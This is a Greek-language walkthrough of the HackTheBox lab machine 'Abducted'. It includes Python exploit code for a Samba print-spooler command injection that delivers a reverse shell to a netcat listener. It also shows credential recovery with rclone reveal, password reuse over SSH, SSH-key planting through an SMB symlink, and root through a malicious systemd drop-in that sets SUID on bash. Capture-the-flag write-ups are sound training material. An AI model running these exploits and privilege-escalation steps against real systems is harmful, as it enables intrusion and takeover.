Πίσω στο blog
← Πίσω στα posts

English  ·  Ελληνικά

HTB: Abducted

HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗

Το Abducted είναι ένα box μόνο-Samba — χωρίς web server, μόνο SSH και δύο θύρες SMB. Το μονοπάτι εισόδου είναι ένα unauthenticated shell injection στο print-spooler (CVE-2026-4480) ενάντια σε ένα share εκτυπωτή προσβάσιμο ως guest, που προσγειώνεται σαν nobody. Από εκεί είναι μια ευθεία γραμμή μέσα από ένα διαρρεύσαν credential rclone, επαναχρησιμοποίηση password στο SSH, ένα symlink SMB wide-links που εκμεταλλευόμαστε για να φυτέψουμε ένα κλειδί SSH σαν δεύτερος χρήστης, και ένα τελικό privesc μέσω ενός systemd drop-in εγγράψιμου από ομάδα για την υπηρεσία Samba.
Guest SMB (HP-Reception) → CVE-2026-4480 RCE → nobody → rclone.conf → scott (SSH) → marcus (SMB symlink) → root (systemd)
HackTheBox "You have solved Abducted!" congratulations screen — machine rank #1721, retired, 650 XP earned

Αναγνώριση

Nmap

Στάνταρ scan υπηρεσιών ενάντια στο box:

nmap
SP1R4@kali)-[~] └$ nmap -sC -sV -A <TARGET_IP> -oA abducted PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 139/tcp open netbios-ssn Samba smbd 4 445/tcp open netbios-ssn Samba smbd 4
ΘυραΥπηρεσιαΣημειωσεις
22SSHOpenSSH 9.6p1 Ubuntu
139/445SMBSamba smbd 4 — όνομα NetBIOS ABDUCTED, server string "Hartley Group Document Services"

Χωρίς web server σε αυτό — το SMB είναι ολόκληρη η επιφάνεια επίθεσης. Πρόσθεσε το hostname:

/etc/hosts
SP1R4@kali)-[~] └$ echo "<TARGET_IP> abducted.htb" | sudo tee -a /etc/hosts

Καταμέτρηση SMB & RPC

Λιστάρισμα shares με null session:

smbclient -L
SP1R4@kali)-[~] └$ smbclient -L //<TARGET_IP> -N Sharename Type Comment --------- ---- ------- HP-Reception Printer Reception printer projects Disk Hartley Group Project Files transfer Disk Staff file transfer IPC$ IPC IPC Service (Hartley Group Document Services) SP1R4@kali)-[~] └$ smbclient //<TARGET_IP>/projects -N NT_STATUS_ACCESS_DENIED SP1R4@kali)-[~] └$ smbclient //<TARGET_IP>/transfer -N NT_STATUS_ACCESS_DENIED

Και τα δύο disk shares απορρίπτουν πρόσβαση guest — το HP-Reception είναι το μόνο ανοιχτό, και είναι εκτυπωτής, όχι file share. Το rpcclient ενάντια στο null session τραβάει ένα username και επιβεβαιώνει τα paths των shares στον δίσκο:

rpcclient
SP1R4@kali)-[~] └$ rpcclient -U "" -N <TARGET_IP> rpcclient $> enumdomusers user:[scott] rid:[0x3e8] rpcclient $> netshareenum netname: HP-Reception path: C:\var\spool\samba netname: projects path: C:\srv\projects netname: transfer path: C:\srv\transfer
Ένας τοπικός χρήστης (scott), ένα share εκτυπωτή εγγράψιμο από guest πάνω στο /var/spool/samba, και ένας print server εκτεθειμένος σε ανώνυμους χρήστες. Σε συνδυασμό με το όνομα του box και ένα πρόσφατο CVE του Samba, ο εκτυπωτής είναι ο τρόπος εισόδου.

Αρχικό Foothold — CVE-2026-4480 (Samba %J Print Injection)

Το CVE-2026-4480 είναι ένα unauthenticated command injection στο print spooler του Samba. Όταν υποβάλλεται ένα print job, το Samba αντικαθιστά το όνομα job που δίνει ο client μέσα στην ρυθμισμένη print command μέσω του token %J — χωρίς να κάνει sanitize shell metacharacters. Το να ορίσεις το όνομα job σε |sh και να γράψεις ένα shell payload σαν σώμα του job κάνει εκείνο το payload να εκτελείται από όποιον λογαριασμό τρέχει τον print handler του smbd.

Το exploit μιλάει απευθείας στο named pipe spoolss: άνοιξε ένα handle στον εκτυπωτή, ξεκίνα ένα document με όνομα job |sh, και γράψε το payload σαν δεδομένα εκτύπωσης.

cve-2026-4480.py — core exploit logic
# apt install python3-samba from samba.dcerpc import spoolss from samba.param import LoadParm from samba.credentials import Credentials lp = LoadParm(); lp.load_default() creds = Credentials(); creds.guess(lp); creds.set_anonymous() iface = spoolss.spoolss(f'ncacn_np:{rhost}[\\pipe\\spoolss]', lp, creds) h = iface.OpenPrinter(f'\\\\{rhost}\\HP-Reception', '', spoolss.DevmodeContainer(), 0x8) i1 = spoolss.DocumentInfo1() i1.document_name = '|sh' # %J injection point i1.datatype = 'RAW' ctr = spoolss.DocumentInfoCtr(); ctr.level = 1; ctr.info = i1 iface.StartDocPrinter(h, ctr) iface.StartPagePrinter(h) iface.WritePrinter(h, payload, len(payload)) # reverse shell one-liner iface.EndPagePrinter(h); iface.EndDocPrinter(h); iface.ClosePrinter(h)

Listener έτοιμος, το exploit πυροδοτημένο στο share του εκτυπωτή:

exploit run
SP1R4@kali)-[~] └$ nc -lvnp 4444 SP1R4@kali)-[~] └$ python3 cve-2026-4480.py -r <TARGET_IP> -l <YOUR_IP> -p 4444 [*] Connecting to spoolss pipe on <TARGET_IP> ... [*] Opening printer handle: \\<TARGET_IP>\HP-Reception [*] Submitting print job with job name '|sh' (%J injection) ... [+] Job submitted successfully — check your listener! connect to [<YOUR_IP>] from (UNKNOWN) [<TARGET_IP>] 41288 (remote) nobody@abducted:/$ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Shell ως nobody — ο guest λογαριασμός του Samba, τρέχει unauthenticated κατευθείαν από το print spooler.

Post-Exploitation — Credentials rclone

Σάρωση για αρχεία config έξω από τα συνηθισμένα paths του συστήματος:

nobody — hunting for creds
(remote) nobody@abducted:/$ find / -type f -name "*.conf" 2>/dev/null | grep -Ev "^/usr/|^/etc/" /opt/offsite-backup/rclone.conf (remote) nobody@abducted:/$ cat /opt/offsite-backup/rclone.conf [offsite] type = sftp host = backup.hartley-group.internal user = svc-backup pass = HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw shell_type = unix

Το rclone κάνει obfuscate τα αποθηκευμένα passwords αντί να τα κρυπτογραφεί — το rclone reveal το αντιστρέφει με μία κίνηση:

rclone reveal
SP1R4@kali)-[~] └$ rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw iXzvcib3SrpZ

Πλάγια Κίνηση — SSH ως scott (Επαναχρησιμοποίηση Password)

Υπάρχουν μόνο δύο τοπικοί χρήστες στο box (scott, marcus). Το ανακτημένο password του svc-backup δοκιμάζεται ενάντια στο login SSH του scott και πετυχαίνει:

ssh — scott
SP1R4@kali)-[~] └$ ssh scott@abducted.htb Password: iXzvcib3SrpZ scott@abducted:~$ id uid=1000(scott) gid=1001(scott) groups=1001(scott) scott@abducted:~$ cat user.txt HTB{REDACTED}
🚩 User flag πιάστηκε — το password rclone του svc-backup επαναχρησιμοποιήθηκε αυτούσιο για τον λογαριασμό SSH του scott.

Καταμέτρηση ως scott

Χωρίς δικαιώματα sudo. Το config Samba αξίζει μια δεύτερη ματιά τώρα που υπάρχει ένα πραγματικό shell για να το διαβάσει κανείς:

smb.conf / shares.conf
scott@abducted:~$ sudo -l Sorry, user scott may not run sudo on abducted. scott@abducted:~$ cat /etc/samba/shares.conf [HP-Reception] path = /var/spool/samba printable = yes guest ok = yes print command = /usr/local/bin/printaudit %J %s [transfer] comment = Staff file transfer path = /srv/transfer valid users = scott force user = marcus read only = no wide links = yes browseable = yes
Το print command επιβεβαιώνει την αλυσίδα CVE-2026-4480 — το %J προσγειώνεται unescaped στην εντολή shell. Πιο χρήσιμο τώρα: το share transfer τρέχει τα πάντα σαν marcus (force user) και ακολουθεί symlinks σε ολόκληρα τα όρια share (wide links = yes). Κάθε αρχείο που γράφεται μέσα στο transfer ανήκει στον marcus, και ένα symlink μέσα σε αυτό μπορεί να δείχνει οπουδήποτε στον δίσκο.

Πλάγια Κίνηση — SSH Key Injection μέσω SMB Symlink

Ο scott μπορεί να γράψει στο /srv/transfer απευθείας στο filesystem. Το να φυτέψεις εκεί ένα symlink που δείχνει στο home directory του marcus μετατρέπει το share SMB σε ένα write primitive σαν marcus:

symlink + smbclient upload
scott@abducted:~$ ln -s /home/marcus /srv/transfer/marcus SP1R4@kali)-[~] └$ smbclient //<TARGET_IP>/transfer -U 'scott%iXzvcib3SrpZ' smb: \> cd marcus smb: \marcus\> mkdir .ssh smb: \marcus\> cd .ssh smb: \marcus\.ssh\> put id_rsa.pub authorized_keys putting file id_rsa.pub as \marcus\.ssh\authorized_keys

Το SSH αρνείται κλειδιά που είναι world-readable, οπότε το mode πρέπει να αφαιρεθεί μέσω του share πριν γίνει αποδεκτό:

smbclient setmode + ssh
smb: \marcus\.ssh\> setmode authorized_keys a-r smb: \marcus\.ssh\> cd .. smb: \marcus\> setmode .ssh a-r+d SP1R4@kali)-[~] └$ ssh -i id_rsa marcus@abducted.htb marcus@abducted:~$ id uid=1001(marcus) gid=1002(marcus) groups=1002(marcus),1000(operators)
SSH ως marcus — και μια συμμετοχή στο operators που αξίζει να κυνηγήσεις.

Privilege Escalation σε Root — systemd Drop-in

Τι πρόσβαση δίνει πραγματικά εκείνη η ομάδα:

marcus — operators group
marcus@abducted:~$ find / -group operators 2>/dev/null /etc/systemd/system/smbd.service.d

Το operators κατέχει τον φάκελο drop-in για το unit systemd smbd. Τα drop-ins προσθέτουν επιπλέον directives πάνω σε μια υπηρεσία χωρίς να αγγίζουν το base unit file — ένα ExecStartPre εδώ τρέχει σαν root τη στιγμή που η υπηρεσία κάνει restart:

malicious drop-in → SUID bash → root
marcus@abducted:~$ cat > /etc/systemd/system/smbd.service.d/privesc.conf << 'EOF' [Service] ExecStartPre=/bin/bash -c 'chmod +s /bin/bash' EOF marcus@abducted:~$ systemctl daemon-reload && systemctl restart smbd marcus@abducted:~$ bash -p bash-5.2# whoami root bash-5.2# cat /root/root.txt HTB{REDACTED}
🚩 Root flag πιάστηκε. Το ExecStartPre έτρεξε σαν root στο restart της υπηρεσίας, όρισε το bit SUID στο /bin/bash, και το bash -p διατήρησε τα privileges σε ένα shell root.

Περίληψη

ΣταδιοΤεχνικηΕργαλειο
FootholdCVE-2026-4480 — Samba %J print job shell injection, unauthpython3-samba
Κλοπή credentialsObfuscated password rclone σε world-readable configrclone reveal
Πλάγια κίνησηΕπαναχρησιμοποίηση password (svc-backup → scott)ssh
Πλάγια κίνησηSMB force user + symlink wide links → key injectionsmbclient
RootGroup-writable systemd drop-in, ExecStartPre σαν rootsystemctl

Βασικές εντολές

γρήγορη αναφορά
# Καταμέτρηση smbclient -L //<IP> -N rpcclient -U "" -N <IP> # Foothold CVE-2026-4480 python3 cve-2026-4480.py -r <IP> -l <LHOST> -p <LPORT> # Ανάκτηση credential rclone reveal <obfuscated-string> # SMB symlink key injection ln -s /home/<user> /srv/transfer/<user> smbclient //<IP>/transfer -U '<user>%<pass>' put id_rsa.pub authorized_keys setmode authorized_keys a-r # systemd drop-in privesc find / -group <group> 2>/dev/null systemctl daemon-reload && systemctl restart <unit>
HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗